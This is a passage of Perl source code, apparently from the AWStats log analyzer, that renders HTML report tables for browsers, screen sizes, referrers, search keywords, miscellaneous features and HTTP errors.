                                $MaxNbOf{'BrowsersShown'}, $MinHit{'Browser'},
18678
 
                                \%new_browser_h,           \%new_browser_h
18679
 
                        );
18680
 
                        foreach my $key (@keylist) {
18681
 
                                my $p = '&nbsp;';
18682
 
                                if ($Totalh) {
18683
 
                                        $p = int( $new_browser_h{$key} / $Totalh * 1000 ) / 10;
18684
 
                                        $p = "$p %";
18685
 
                                }
18686
 
                                if ( $key eq 'Unknown' ) {
18687
 
                                        print "<tr><td"
18688
 
                                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
18689
 
                                          . "><img src=\"$DirIcons\/browser\/unknown.png\""
18690
 
                                          . AltTitle("")
18691
 
                                          . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td><td>$_browser_h{$key}</td><td>$p</td></tr>\n";
18692
 
                                }
18693
 
                                else {
18694
 
                                        my $keywithoutcumul = $key;
18695
 
                                        $keywithoutcumul =~ s/cumul$//i;
18696
 
                                        my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
18697
 
                                          || $keywithoutcumul;
18698
 
                                        my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
18699
 
                                          || "notavailable";
18700
 
                                        if ( $BrowsersFamily{$keywithoutcumul} ) {
18701
 
                                                $libbrowser = "<b>$libbrowser</b>";
18702
 
                                        }
18703
 
                                        print "<tr><td"
18704
 
                                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
18705
 
                                          . "><img src=\"$DirIcons\/browser\/$nameicon.png\""
18706
 
                                          . AltTitle("")
18707
 
                                          . " /></td><td class=\"aws\">"
18708
 
                                          . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
18709
 
                                          . "$libbrowser"
18710
 
                                          . ( $PageDir eq 'rtl' ? "</span>" : "" )
18711
 
                                          . "</td><td>"
18712
 
                                          . (
18713
 
                                                $BrowsersHereAreGrabbers{$key}
18714
 
                                                ? "<b>$Message[112]</b>"
18715
 
                                                : "$Message[113]"
18716
 
                                          )
18717
 
                                          . "</td><td>$new_browser_h{$key}</td><td>$p</td></tr>\n";
18718
 
                                }
18719
 
                                $total_h += $new_browser_h{$key};
18720
 
                                $count++;
18721
 
                        }
18722
 
                        if ($Debug) {
18723
 
                                debug( "Total real / shown : $Totalh / $total_h", 2 );
18724
 
                        }
18725
 
                        $rest_h = $Totalh - $total_h;
18726
 
                        if ( $rest_h > 0 ) {
18727
 
                                my $p;
18728
 
                                if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
18729
 
                                print "<tr>";
18730
 
                                print "<td>&nbsp;</td>";
18731
 
                                print
18732
 
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>&nbsp;</td><td>$rest_h</td>";
18733
 
                                print "<td>$p %</td></tr>\n";
18734
 
                        }
18735
 
                        &tab_end();
18736
 
                }
18737
 
 
18738
 
                # BY SCREEN SIZE
18739
 
                #----------------------------
18740
 
                if ($ShowScreenSizeStats) {
18741
 
                        if ($Debug) { debug( "ShowScreenSizeStats", 2 ); }
18742
 
                        print "$Center<a name=\"screensizes\">&nbsp;</a><br />\n";
18743
 
                        my $Totalh = 0;
18744
 
                        foreach ( keys %_screensize_h ) { $Totalh += $_screensize_h{$_}; }
18745
 
                        my $title =
18746
 
                          "$Message[135] ($Message[77] $MaxNbOf{'ScreenSizesShown'})";
18747
 
                        &tab_head( "$title", 0, 0, 'screensizes' );
18748
 
                        print
18749
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[135]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
18750
 
                        my $total_h = 0;
18751
 
                        my $count   = 0;
18752
 
                        &BuildKeyList( $MaxNbOf{'ScreenSizesShown'},
18753
 
                                $MinHit{'ScreenSize'}, \%_screensize_h, \%_screensize_h );
18754
 
 
18755
 
                        foreach my $key (@keylist) {
18756
 
                                my $p = '&nbsp;';
18757
 
                                if ($Totalh) {
18758
 
                                        $p = int( $_screensize_h{$key} / $Totalh * 1000 ) / 10;
18759
 
                                        $p = "$p %";
18760
 
                                }
18761
 
                                $total_h += $_screensize_h{$key} || 0;
18762
 
                                print "<tr>";
18763
 
                                if ( $key eq 'Unknown' ) {
18764
 
                                        print
18765
 
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
18766
 
                                        print "<td>$p</td>";
18767
 
                                }
18768
 
                                else {
18769
 
                                        my $screensize = $key;
18770
 
                                        print "<td class=\"aws\">$screensize</td>";
18771
 
                                        print "<td>$p</td>";
18772
 
                                }
18773
 
                                print "</tr>\n";
18774
 
                                $count++;
18775
 
                        }
18776
 
                        $rest_h = $Totalh - $total_h;
18777
 
                        if ( $rest_h > 0 ) {    # All others sessions
18778
 
                                my $p = 0;
18779
 
                                if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
18780
 
                                print
18781
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
18782
 
                                print "<td>" . ( $rest_h ? "$p %" : "&nbsp;" ) . "</td>";
18783
 
                                print "</tr>\n";
18784
 
                        }
18785
 
                        &tab_end();
18786
 
                }
18787
 
 
18788
 
                print "\n<a name=\"refering\">&nbsp;</a>\n\n";
18789
 
 
18790
 
                # BY REFERENCE
18791
 
                #---------------------------
18792
 
                if ($ShowOriginStats) {
18793
 
                        if ($Debug) { debug( "ShowOriginStats", 2 ); }
18794
 
                        print "$Center<a name=\"referer\">&nbsp;</a><br />\n";
18795
 
                        my $Totalp = 0;
18796
 
                        foreach ( 0 .. 5 ) {
18797
 
                                $Totalp +=
18798
 
                                  ( $_ != 4 || $IncludeInternalLinksInOriginSection )
18799
 
                                  ? $_from_p[$_]
18800
 
                                  : 0;
18801
 
                        }
18802
 
                        my $Totalh = 0;
18803
 
                        foreach ( 0 .. 5 ) {
18804
 
                                $Totalh +=
18805
 
                                  ( $_ != 4 || $IncludeInternalLinksInOriginSection )
18806
 
                                  ? $_from_h[$_]
18807
 
                                  : 0;
18808
 
                        }
18809
 
                        &tab_head( $Message[36], 19, 0, 'referer' );
18810
 
                        my @p_p = ( 0, 0, 0, 0, 0, 0 );
18811
 
                        if ( $Totalp > 0 ) {
18812
 
                                $p_p[0] = int( $_from_p[0] / $Totalp * 1000 ) / 10;
18813
 
                                $p_p[1] = int( $_from_p[1] / $Totalp * 1000 ) / 10;
18814
 
                                $p_p[2] = int( $_from_p[2] / $Totalp * 1000 ) / 10;
18815
 
                                $p_p[3] = int( $_from_p[3] / $Totalp * 1000 ) / 10;
18816
 
                                $p_p[4] = int( $_from_p[4] / $Totalp * 1000 ) / 10;
18817
 
                                $p_p[5] = int( $_from_p[5] / $Totalp * 1000 ) / 10;
18818
 
                        }
18819
 
                        my @p_h = ( 0, 0, 0, 0, 0, 0 );
18820
 
                        if ( $Totalh > 0 ) {
18821
 
                                $p_h[0] = int( $_from_h[0] / $Totalh * 1000 ) / 10;
18822
 
                                $p_h[1] = int( $_from_h[1] / $Totalh * 1000 ) / 10;
18823
 
                                $p_h[2] = int( $_from_h[2] / $Totalh * 1000 ) / 10;
18824
 
                                $p_h[3] = int( $_from_h[3] / $Totalh * 1000 ) / 10;
18825
 
                                $p_h[4] = int( $_from_h[4] / $Totalh * 1000 ) / 10;
18826
 
                                $p_h[5] = int( $_from_h[5] / $Totalh * 1000 ) / 10;
18827
 
                        }
18828
 
                        print
18829
 
                          "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[37]</th>";
18830
 
                        if ( $ShowOriginStats =~ /P/i ) {
18831
 
                                print
18832
 
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
18833
 
                        }
18834
 
                        if ( $ShowOriginStats =~ /H/i ) {
18835
 
                                print
18836
 
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
18837
 
                        }
18838
 
                        print "</tr>\n";
18839
 
 
18840
 
                        #------- Referrals by direct address/bookmark/link in email/etc...
18841
 
                        print "<tr><td class=\"aws\"><b>$Message[38]</b></td>";
18842
 
                        if ( $ShowOriginStats =~ /P/i ) {
18843
 
                                print "<td>"
18844
 
                                  . ( $_from_p[0] ? $_from_p[0] : "&nbsp;" )
18845
 
                                  . "</td><td>"
18846
 
                                  . ( $_from_p[0] ? "$p_p[0] %" : "&nbsp;" ) . "</td>";
18847
 
                        }
18848
 
                        if ( $ShowOriginStats =~ /H/i ) {
18849
 
                                print "<td>"
18850
 
                                  . ( $_from_h[0] ? $_from_h[0] : "&nbsp;" )
18851
 
                                  . "</td><td>"
18852
 
                                  . ( $_from_h[0] ? "$p_h[0] %" : "&nbsp;" ) . "</td>";
18853
 
                        }
18854
 
                        print "</tr>\n";
18855
 
 
18856
 
                        #------- Referrals by search engines
18857
 
                        print "<tr"
18858
 
                          . Tooltip(13)
18859
 
                          . "><td class=\"aws\"><b>$Message[40]</b> - <a href=\""
18860
 
                          . (
18861
 
                                $ENV{'GATEWAY_INTERFACE'}
18862
 
                                  || !$StaticLinks
18863
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=refererse")
18864
 
                                : "$PROG$StaticLinks.refererse.$StaticExt"
18865
 
                          )
18866
 
                          . "\"$NewLinkTarget>$Message[80]</a><br />\n";
18867
 
                        if ( scalar keys %_se_referrals_h ) {
18868
 
                                print "<table>\n";
18869
 
                                $total_p = 0;
18870
 
                                $total_h = 0;
18871
 
                                my $count = 0;
18872
 
                                &BuildKeyList(
18873
 
                                        $MaxNbOf{'RefererShown'},
18874
 
                                        $MinHit{'Refer'},
18875
 
                                        \%_se_referrals_h,
18876
 
                                        (
18877
 
                                                ( scalar keys %_se_referrals_p )
18878
 
                                                ? \%_se_referrals_p
18879
 
                                                : \%_se_referrals_h
18880
 
                                        )
18881
 
                                );
18882
 
                                foreach my $key (@keylist) {
18883
 
                                        my $newreferer = $SearchEnginesHashLib{$key}
18884
 
                                          || CleanXSS($key);
18885
 
                                        print "<tr><td class=\"aws\">- $newreferer</td>";
18886
 
                                        print "<td>"
18887
 
                                          . (
18888
 
                                                $_se_referrals_p{$key} ? $_se_referrals_p{$key} : '0' )
18889
 
                                          . "</td>";
18890
 
                                        print "<td>$_se_referrals_h{$key}</td>";
18891
 
                                        print "</tr>\n";
18892
 
                                        $total_p += $_se_referrals_p{$key};
18893
 
                                        $total_h += $_se_referrals_h{$key};
18894
 
                                        $count++;
18895
 
                                }
18896
 
                                if ($Debug) {
18897
 
                                        debug(
18898
 
"Total real / shown : $TotalSearchEnginesPages / $total_p -  $TotalSearchEnginesHits / $total_h",
18899
 
                                                2
18900
 
                                        );
18901
 
                                }
18902
 
                                $rest_p = $TotalSearchEnginesPages - $total_p;
18903
 
                                $rest_h = $TotalSearchEnginesHits - $total_h;
18904
 
                                if ( $rest_p > 0 || $rest_h > 0 ) {
18905
 
                                        print
18906
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
18907
 
                                        print "<td>$rest_p</td>";
18908
 
                                        print "<td>$rest_h</td>";
18909
 
                                        print "</tr>\n";
18910
 
                                }
18911
 
                                print "</table>";
18912
 
                        }
18913
 
                        print "</td>\n";
18914
 
                        if ( $ShowOriginStats =~ /P/i ) {
18915
 
                                print "<td valign=\"top\">"
18916
 
                                  . ( $_from_p[2] ? $_from_p[2] : "&nbsp;" )
18917
 
                                  . "</td><td valign=\"top\">"
18918
 
                                  . ( $_from_p[2] ? "$p_p[2] %" : "&nbsp;" ) . "</td>";
18919
 
                        }
18920
 
                        if ( $ShowOriginStats =~ /H/i ) {
18921
 
                                print "<td valign=\"top\">"
18922
 
                                  . ( $_from_h[2] ? $_from_h[2] : "&nbsp;" )
18923
 
                                  . "</td><td valign=\"top\">"
18924
 
                                  . ( $_from_h[2] ? "$p_h[2] %" : "&nbsp;" ) . "</td>";
18925
 
                        }
18926
 
                        print "</tr>\n";
18927
 
 
18928
 
                        #------- Referrals by external HTML link
18929
 
                        print "<tr"
18930
 
                          . Tooltip(14)
18931
 
                          . "><td class=\"aws\"><b>$Message[41]</b> - <a href=\""
18932
 
                          . (
18933
 
                                $ENV{'GATEWAY_INTERFACE'}
18934
 
                                  || !$StaticLinks
18935
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=refererpages")
18936
 
                                : "$PROG$StaticLinks.refererpages.$StaticExt"
18937
 
                          )
18938
 
                          . "\"$NewLinkTarget>$Message[80]</a><br />\n";
18939
 
                        if ( scalar keys %_pagesrefs_h ) {
18940
 
                                print "<table>\n";
18941
 
                                $total_p = 0;
18942
 
                                $total_h = 0;
18943
 
                                my $count = 0;
18944
 
                                &BuildKeyList(
18945
 
                                        $MaxNbOf{'RefererShown'},
18946
 
                                        $MinHit{'Refer'},
18947
 
                                        \%_pagesrefs_h,
18948
 
                                        (
18949
 
                                                ( scalar keys %_pagesrefs_p )
18950
 
                                                ? \%_pagesrefs_p
18951
 
                                                : \%_pagesrefs_h
18952
 
                                        )
18953
 
                                );
18954
 
                                foreach my $key (@keylist) {
18955
 
                                        print "<tr><td class=\"aws\">- ";
18956
 
                                        &ShowURLInfo($key);
18957
 
                                        print "</td>";
18958
 
                                        print "<td>"
18959
 
                                          . ( $_pagesrefs_p{$key} ? $_pagesrefs_p{$key} : '0' )
18960
 
                                          . "</td>";
18961
 
                                        print "<td>$_pagesrefs_h{$key}</td>";
18962
 
                                        print "</tr>\n";
18963
 
                                        $total_p += $_pagesrefs_p{$key};
18964
 
                                        $total_h += $_pagesrefs_h{$key};
18965
 
                                        $count++;
18966
 
                                }
18967
 
                                if ($Debug) {
18968
 
                                        debug(
18969
 
"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",
18970
 
                                                2
18971
 
                                        );
18972
 
                                }
18973
 
                                $rest_p = $TotalRefererPages - $total_p;
18974
 
                                $rest_h = $TotalRefererHits - $total_h;
18975
 
                                if ( $rest_p > 0 || $rest_h > 0 ) {
18976
 
                                        print
18977
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
18978
 
                                        print "<td>$rest_p</td>";
18979
 
                                        print "<td>$rest_h</td>";
18980
 
                                        print "</tr>\n";
18981
 
                                }
18982
 
                                print "</table>";
18983
 
                        }
18984
 
                        print "</td>\n";
18985
 
                        if ( $ShowOriginStats =~ /P/i ) {
18986
 
                                print "<td valign=\"top\">"
18987
 
                                  . ( $_from_p[3] ? $_from_p[3] : "&nbsp;" )
18988
 
                                  . "</td><td valign=\"top\">"
18989
 
                                  . ( $_from_p[3] ? "$p_p[3] %" : "&nbsp;" ) . "</td>";
18990
 
                        }
18991
 
                        if ( $ShowOriginStats =~ /H/i ) {
18992
 
                                print "<td valign=\"top\">"
18993
 
                                  . ( $_from_h[3] ? $_from_h[3] : "&nbsp;" )
18994
 
                                  . "</td><td valign=\"top\">"
18995
 
                                  . ( $_from_h[3] ? "$p_h[3] %" : "&nbsp;" ) . "</td>";
18996
 
                        }
18997
 
                        print "</tr>\n";
18998
 
 
18999
 
                        #------- Referrals by internal HTML link
19000
 
                        if ($IncludeInternalLinksInOriginSection) {
19001
 
                                print "<tr><td class=\"aws\"><b>$Message[42]</b></td>";
19002
 
                                if ( $ShowOriginStats =~ /P/i ) {
19003
 
                                        print "<td>"
19004
 
                                          . ( $_from_p[4] ? $_from_p[4] : "&nbsp;" )
19005
 
                                          . "</td><td>"
19006
 
                                          . ( $_from_p[4] ? "$p_p[4] %" : "&nbsp;" ) . "</td>";
19007
 
                                }
19008
 
                                if ( $ShowOriginStats =~ /H/i ) {
19009
 
                                        print "<td>"
19010
 
                                          . ( $_from_h[4] ? $_from_h[4] : "&nbsp;" )
19011
 
                                          . "</td><td>"
19012
 
                                          . ( $_from_h[4] ? "$p_h[4] %" : "&nbsp;" ) . "</td>";
19013
 
                                }
19014
 
                                print "</tr>\n";
19015
 
                        }
19016
 
 
19017
 
#------- Referrals by news group
19018
 
#print "<tr><td class=\"aws\"><b>$Message[107]</b></td>";
19019
 
#if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[5]?$_from_p[5]:"&nbsp;")."</td><td>".($_from_p[5]?"$p_p[5] %":"&nbsp;")."</td>"; }
19020
 
#if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[5]?$_from_h[5]:"&nbsp;")."</td><td>".($_from_h[5]?"$p_h[5] %":"&nbsp;")."</td>"; }
19021
 
#print "</tr>\n";
19022
 
#------- Unknown origin
19023
 
                        print "<tr><td class=\"aws\"><b>$Message[39]</b></td>";
19024
 
                        if ( $ShowOriginStats =~ /P/i ) {
19025
 
                                print "<td>"
19026
 
                                  . ( $_from_p[1] ? $_from_p[1] : "&nbsp;" )
19027
 
                                  . "</td><td>"
19028
 
                                  . ( $_from_p[1] ? "$p_p[1] %" : "&nbsp;" ) . "</td>";
19029
 
                        }
19030
 
                        if ( $ShowOriginStats =~ /H/i ) {
19031
 
                                print "<td>"
19032
 
                                  . ( $_from_h[1] ? $_from_h[1] : "&nbsp;" )
19033
 
                                  . "</td><td>"
19034
 
                                  . ( $_from_h[1] ? "$p_h[1] %" : "&nbsp;" ) . "</td>";
19035
 
                        }
19036
 
                        print "</tr>\n";
19037
 
                        &tab_end();
19038
 
 
19039
 
                        # 0: Direct
19040
 
                        # 1: Unknown
19041
 
                        # 2: SE
19042
 
                        # 3: External link
19043
 
                        # 4: Internal link
19044
 
                        # 5: Newsgroup (deprecated)
19045
 
                }
19046
 
 
19047
 
                print "\n<a name=\"keys\">&nbsp;</a>\n\n";
19048
 
 
19049
 
                # BY SEARCH KEYWORDS AND/OR KEYPHRASES
19050
 
                #-------------------------------------
19051
 
                if ($ShowKeyphrasesStats) {
19052
 
                        print "$Center<a name=\"keyphrases\">&nbsp;</a>";
19053
 
                }
19054
 
                if ($ShowKeywordsStats) {
19055
 
                        print "$Center<a name=\"keywords\">&nbsp;</a>";
19056
 
                }
19057
 
                if ( $ShowKeyphrasesStats || $ShowKeywordsStats ) { print "<br />\n"; }
19058
 
                if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19059
 
                        print
19060
 
                          "<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\"><tr>";
19061
 
                }
19062
 
                if ($ShowKeyphrasesStats) {
19063
 
 
19064
 
                        # By Keyphrases
19065
 
                        if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19066
 
                                print "<td width=\"50%\" valign=\"top\">\n";
19067
 
                        }
19068
 
                        if ($Debug) { debug( "ShowKeyphrasesStats", 2 ); }
19069
 
                        &tab_head(
19070
 
"$Message[120] ($Message[77] $MaxNbOf{'KeyphrasesShown'})<br /><a href=\""
19071
 
                                  . (
19072
 
                                        $ENV{'GATEWAY_INTERFACE'}
19073
 
                                          || !$StaticLinks
19074
 
                                        ? XMLEncode("$AWScript?${NewLinkParams}output=keyphrases")
19075
 
                                        : "$PROG$StaticLinks.keyphrases.$StaticExt"
19076
 
                                  )
19077
 
                                  . "\"$NewLinkTarget>$Message[80]</a>",
19078
 
                                19,
19079
 
                                ( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70,
19080
 
                                'keyphrases'
19081
 
                        );
19082
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\""
19083
 
                          . Tooltip(15)
19084
 
                          . "><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
19085
 
                        $total_s = 0;
19086
 
                        my $count = 0;
19087
 
                        &BuildKeyList( $MaxNbOf{'KeyphrasesShown'},
19088
 
                                $MinHit{'Keyphrase'}, \%_keyphrases, \%_keyphrases );
19089
 
                        foreach my $key (@keylist) {
19090
 
                                my $mot;
19091
 
 
19092
 
          # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
19093
 
                                if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
19094
 
                                        $mot = CleanXSS(
19095
 
                                                DecodeKey_decodeutfkeys(
19096
 
                                                        $key, $PageCode || 'iso-8859-1'
19097
 
                                                )
19098
 
                                        );
19099
 
                                }
19100
 
                                else { $mot = CleanXSS( DecodeEncodedString($key) ); }
19101
 
                                my $p;
19102
 
                                if ($TotalKeyphrases) {
19103
 
                                        $p =
19104
 
                                          int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10;
19105
 
                                }
19106
 
                                print "<tr><td class=\"aws\">"
19107
 
                                  . XMLEncode($mot)
19108
 
                                  . "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
19109
 
                                $total_s += $_keyphrases{$key};
19110
 
                                $count++;
19111
 
                        }
19112
 
                        if ($Debug) {
19113
 
                                debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 );
19114
 
                        }
19115
 
                        $rest_s = $TotalKeyphrases - $total_s;
19116
 
                        if ( $rest_s > 0 ) {
19117
 
                                my $p;
19118
 
                                if ($TotalKeyphrases) {
19119
 
                                        $p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10;
19120
 
                                }
19121
 
                                print
19122
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>";
19123
 
                                print "<td>$p&nbsp;%</td></tr>\n";
19124
 
                        }
19125
 
                        &tab_end();
19126
 
                        if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19127
 
                                print "</td>\n";
19128
 
                        }
19129
 
                }
19130
 
                if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19131
 
                        print "<td> &nbsp; </td>";
19132
 
                }
19133
 
                if ($ShowKeywordsStats) {
19134
 
 
19135
 
                        # By Keywords
19136
 
                        if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19137
 
                                print "<td width=\"50%\" valign=\"top\">\n";
19138
 
                        }
19139
 
                        if ($Debug) { debug( "ShowKeywordsStats", 2 ); }
19140
 
                        &tab_head(
19141
 
"$Message[121] ($Message[77] $MaxNbOf{'KeywordsShown'})<br /><a href=\""
19142
 
                                  . (
19143
 
                                        $ENV{'GATEWAY_INTERFACE'}
19144
 
                                          || !$StaticLinks
19145
 
                                        ? XMLEncode("$AWScript?${NewLinkParams}output=keywords")
19146
 
                                        : "$PROG$StaticLinks.keywords.$StaticExt"
19147
 
                                  )
19148
 
                                  . "\"$NewLinkTarget>$Message[80]</a>",
19149
 
                                19,
19150
 
                                ( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70,
19151
 
                                'keywords'
19152
 
                        );
19153
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\""
19154
 
                          . Tooltip(15)
19155
 
                          . "><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
19156
 
                        $total_s = 0;
19157
 
                        my $count = 0;
19158
 
                        &BuildKeyList( $MaxNbOf{'KeywordsShown'},
19159
 
                                $MinHit{'Keyword'}, \%_keywords, \%_keywords );
19160
 
                        foreach my $key (@keylist) {
19161
 
                                my $mot;
19162
 
 
19163
 
          # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
19164
 
                                if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
19165
 
                                        $mot = CleanXSS(
19166
 
                                                DecodeKey_decodeutfkeys(
19167
 
                                                        $key, $PageCode || 'iso-8859-1'
19168
 
                                                )
19169
 
                                        );
19170
 
                                }
19171
 
                                else { $mot = CleanXSS( DecodeEncodedString($key) ); }
19172
 
                                my $p;
19173
 
                                if ($TotalKeywords) {
19174
 
                                        $p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10;
19175
 
                                }
19176
 
                                print "<tr><td class=\"aws\">"
19177
 
                                  . XMLEncode($mot)
19178
 
                                  . "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
19179
 
                                $total_s += $_keywords{$key};
19180
 
                                $count++;
19181
 
                        }
19182
 
                        if ($Debug) {
19183
 
                                debug( "Total real / shown : $TotalKeywords / $total_s", 2 );
19184
 
                        }
19185
 
                        $rest_s = $TotalKeywords - $total_s;
19186
 
                        if ( $rest_s > 0 ) {
19187
 
                                my $p;
19188
 
                                if ($TotalKeywords) {
19189
 
                                        $p = int( $rest_s / $TotalKeywords * 1000 ) / 10;
19190
 
                                }
19191
 
                                print
19192
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>";
19193
 
                                print "<td>$p %</td></tr>\n";
19194
 
                        }
19195
 
                        &tab_end();
19196
 
                        if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19197
 
                                print "</td>\n";
19198
 
                        }
19199
 
                }
19200
 
                if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19201
 
                        print "</tr></table>\n";
19202
 
                }
19203
 
 
19204
 
                print "\n<a name=\"other\">&nbsp;</a>\n\n";
19205
 
 
19206
 
                # BY MISC
19207
 
                #----------------------------
19208
 
                if ($ShowMiscStats) {
19209
 
                        if ($Debug) { debug( "ShowMiscStats", 2 ); }
19210
 
                        print "$Center<a name=\"misc\">&nbsp;</a><br />\n";
19211
 
                        my $title = "$Message[139]";
19212
 
                        &tab_head( "$title", 19, 0, 'misc' );
19213
 
                        print
19214
 
                          "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[139]</th>";
19215
 
                        print "<th width=\"100\">&nbsp;</th>";
19216
 
                        print "<th width=\"100\">&nbsp;</th>";
19217
 
                        print "</tr>\n";
19218
 
                        my %label = (
19219
 
                                'AddToFavourites'           => $Message[137],
19220
 
                                'JavascriptDisabled'        => $Message[168],
19221
 
                                'JavaEnabled'               => $Message[140],
19222
 
                                'DirectorSupport'           => $Message[141],
19223
 
                                'FlashSupport'              => $Message[142],
19224
 
                                'RealPlayerSupport'         => $Message[143],
19225
 
                                'QuickTimeSupport'          => $Message[144],
19226
 
                                'WindowsMediaPlayerSupport' => $Message[145],
19227
 
                                'PDFSupport'                => $Message[146]
19228
 
                        );
19229
 
 
19230
 
                        foreach my $key (@MiscListOrder) {
19231
 
                                my $mischar = substr( $key, 0, 1 );
19232
 
                                if ( $ShowMiscStats !~ /$mischar/i ) { next; }
19233
 
                                my $total = 0;
19234
 
                                my $p;
19235
 
                                if ( $MiscListCalc{$key} eq 'v' ) { $total = $TotalVisits; }
19236
 
                                if ( $MiscListCalc{$key} eq 'u' ) { $total = $TotalUnique; }
19237
 
                                if ( $MiscListCalc{$key} eq 'hm' ) {
19238
 
                                        $total = $_misc_h{'TotalMisc'} || 0;
19239
 
                                }
19240
 
                                if ($total) {
19241
 
                                        $p =
19242
 
                                          int( ( $_misc_h{$key} ? $_misc_h{$key} : 0 ) / $total *
19243
 
                                                  1000 ) / 10;
19244
 
                                }
19245
 
                                print "<tr>";
19246
 
                                print "<td class=\"aws\">"
19247
 
                                  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
19248
 
                                  . $label{$key}
19249
 
                                  . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
19250
 
                                if ( $MiscListCalc{$key} eq 'v' ) {
19251
 
                                        print "<td>"
19252
 
                                          . ( $_misc_h{$key} || 0 )
19253
 
                                          . " / $total $Message[12]</td>";
19254
 
                                }
19255
 
                                if ( $MiscListCalc{$key} eq 'u' ) {
19256
 
                                        print "<td>"
19257
 
                                          . ( $_misc_h{$key} || 0 )
19258
 
                                          . " / $total $Message[18]</td>";
19259
 
                                }
19260
 
                                if ( $MiscListCalc{$key} eq 'hm' ) { print "<td>-</td>"; }
19261
 
                                print "<td>" . ( $total ? "$p %" : "&nbsp;" ) . "</td>";
19262
 
                                print "</tr>\n";
19263
 
                        }
19264
 
                        &tab_end();
19265
 
                }
19266
 
 
19267
 
                # BY HTTP STATUS
19268
 
                #----------------------------
19269
 
                if ($ShowHTTPErrorsStats) {
19270
 
                        if ($Debug) { debug( "ShowHTTPErrorsStats", 2 ); }
19271
 
                        print "$Center<a name=\"errors\">&nbsp;</a><br />\n";
19272
 
                        my $title = "$Message[32]";
19273
 
                        &tab_head( "$title", 19, 0, 'errors' );
19274
 
                        print
19275
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[32]*</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
19276
 
                        $total_h = 0;
19277
 
                        my $count = 0;
19278
 
                        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h );
19279
 
 
19280
 
                        foreach my $key (@keylist) {
19281
 
                                my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
19282
 
                                print "<tr" . Tooltip( $key, $key ) . ">";
19283
 
                                if ( $TrapInfosForHTTPErrorCodes{$key} ) {
19284
 
                                        print "<td><a href=\""
19285
 
                                          . (
19286
 
                                                $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
19287
 
                                                ? XMLEncode(
19288
 
                                                        "$AWScript?${NewLinkParams}output=errors$key")
19289
 
                                                : "$PROG$StaticLinks.errors$key.$StaticExt"
19290
 
                                          )
19291
 
                                          . "\"$NewLinkTarget>$key</a></td>";
19292
 
                                }
19293
 
                                else { print "<td valign=\"top\">$key</td>"; }
19294
 
                                print "<td class=\"aws\">"
19295
 
                                  . (
19296
 
                                        $httpcodelib{$key} ? $httpcodelib{$key} : 'Unknown error' )
19297
 
